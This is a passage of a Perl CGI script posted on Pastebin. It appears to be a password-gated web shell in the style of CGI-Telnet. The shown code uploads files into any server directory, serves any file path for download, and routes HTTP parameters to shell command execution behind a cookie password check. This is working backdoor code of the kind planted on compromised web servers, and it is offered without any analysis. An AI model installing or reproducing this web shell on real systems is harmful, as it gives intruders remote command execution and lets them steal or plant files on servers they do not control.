  567. # This function is also called when the user clicks on that link. In this case,
  568. # the file is read and sent to the browser.
  569. #------------------------------------------------------------------------------
  570. sub BeginDownload
  571. {
  572.     # get fully qualified path of the file to be downloaded
  573.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  574.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  575.     {
  576.         $TargetFile = $TransferFile;
  577.     }
  578.     else # path is relative
  579.     {
  580.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  581.         $TargetFile .= $PathSep.$TransferFile;
  582.     }
  583.  
  584.     if($Options eq "go") # we have to send the file
  585.     {
  586.         &SendFileToBrowser($TargetFile);
  587.     }
  588.     else # we have to send only the link page
  589.     {
  590.         &PrintDownloadLinkPage($TargetFile);
  591.     }
  592. }
  593.  
  594. #------------------------------------------------------------------------------
  595. # This function is called when the user wants to upload a file. If the
  596. # file is not specified, it displays a form allowing the user to specify a
  597. # file, otherwise it starts the upload process.
  598. #------------------------------------------------------------------------------
  599. sub UploadFile
  600. {
  601.     # if no file is specified, print the upload form again
  602.     if($TransferFile eq "")
  603.     {
  604.         &PrintPageHeader("f");
  605.         &PrintFileUploadForm;
  606.         &PrintPageFooter;
  607.         return;
  608.     }
  609.     &PrintPageHeader("c");
  610.  
  611.     # start the uploading process
  612.     print "<code>Uploading $TransferFile to $CurrentDir...<br>";
  613.  
  614.     # get the fullly qualified pathname of the file to be created
  615.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  616.     $TransferFile =~ m!([^/^\\]*)$!;
  617.     $TargetName .= $PathSep.$1;
  618.  
  619.     $TargetFileSize = length($in{'filedata'});
  620.     # if the file exists and we are not supposed to overwrite it
  621.     if(-e $TargetName && $Options ne "overwrite")
  622.     {
  623.         print "Failed: Destination file already exists.<br>";
  624.     }
  625.     else # file is not present
  626.     {
  627.         if(open(UPLOADFILE, ">$TargetName"))
  628.         {
  629.             binmode(UPLOADFILE) if $WinNT;
  630.             print UPLOADFILE $in{'filedata'};
  631.             close(UPLOADFILE);
  632.             print "Transfered $TargetFileSize Bytes.<br>";
  633.             print "File Path: $TargetName<br>";
  634.         }
  635.         else
  636.         {
  637.             print "Failed: $!<br>";
  638.         }
  639.     }
  640.     print "</code>";
  641.     &PrintCommandLineInputForm;
  642.     &PrintPageFooter;
  643. }
  644.  
  645. #------------------------------------------------------------------------------
  646. # This function is called when the user wants to download a file. If the
  647. # filename is not specified, it displays a form allowing the user to specify a
  648. # file, otherwise it displays a message to the user and provides a link
  649. # through  which the file can be downloaded.
  650. #------------------------------------------------------------------------------
  651. sub DownloadFile
  652. {
  653.     # if no file is specified, print the download form again
  654.     if($TransferFile eq "")
  655.     {
  656.         &PrintPageHeader("f");
  657.         &PrintFileDownloadForm;
  658.         &PrintPageFooter;
  659.         return;
  660.     }
  661.  
  662.     # get fully qualified path of the file to be downloaded
  663.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  664.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  665.     {
  666.         $TargetFile = $TransferFile;
  667.     }
  668.     else # path is relative
  669.     {
  670.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  671.         $TargetFile .= $PathSep.$TransferFile;
  672.     }
  673.  
  674.     if($Options eq "go") # we have to send the file
  675.     {
  676.         &SendFileToBrowser($TargetFile);
  677.     }
  678.     else # we have to send only the link page
  679.     {
  680.         &PrintDownloadLinkPage($TargetFile);
  681.     }
  682. }
  683.  
  684. #------------------------------------------------------------------------------
  685. # Main Program - Execution Starts Here
  686. #------------------------------------------------------------------------------
  687. &ReadParse;
  688. &GetCookies;
  689.  
  690. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  691. $ServerName = $ENV{'SERVER_NAME'};
  692. $LoginPassword = $in{'p'};
  693. $RunCommand = $in{'c'};
  694. $TransferFile = $in{'f'};
  695. $Options = $in{'o'};
  696.  
  697. $Action = $in{'a'};
  698. $Action = "login" if($Action eq ""); # no action specified, use default
  699.  
  700. # get the directory in which the commands will be executed
  701. $CurrentDir = $in{'d'};
  702. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  703.  
  704. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  705.  
  706.  
  707.    
  708. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  709. {
  710.     &PerformLogin;
  711. }
  712. elsif($Action eq "command") # user wants to run a command
  713. {
  714.     &ExecuteCommand;
  715. }
  716. elsif($Action eq "upload") # user wants to upload a file
  717. {
  718.     &UploadFile;
  719. }
  720. elsif($Action eq "download") # user wants to download a file
  721. {
  722.     &DownloadFile;
  723. }
  724. elsif($Action eq "logout") # user wants to logout
  725. {
  726.     &PerformLogout;
  727. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!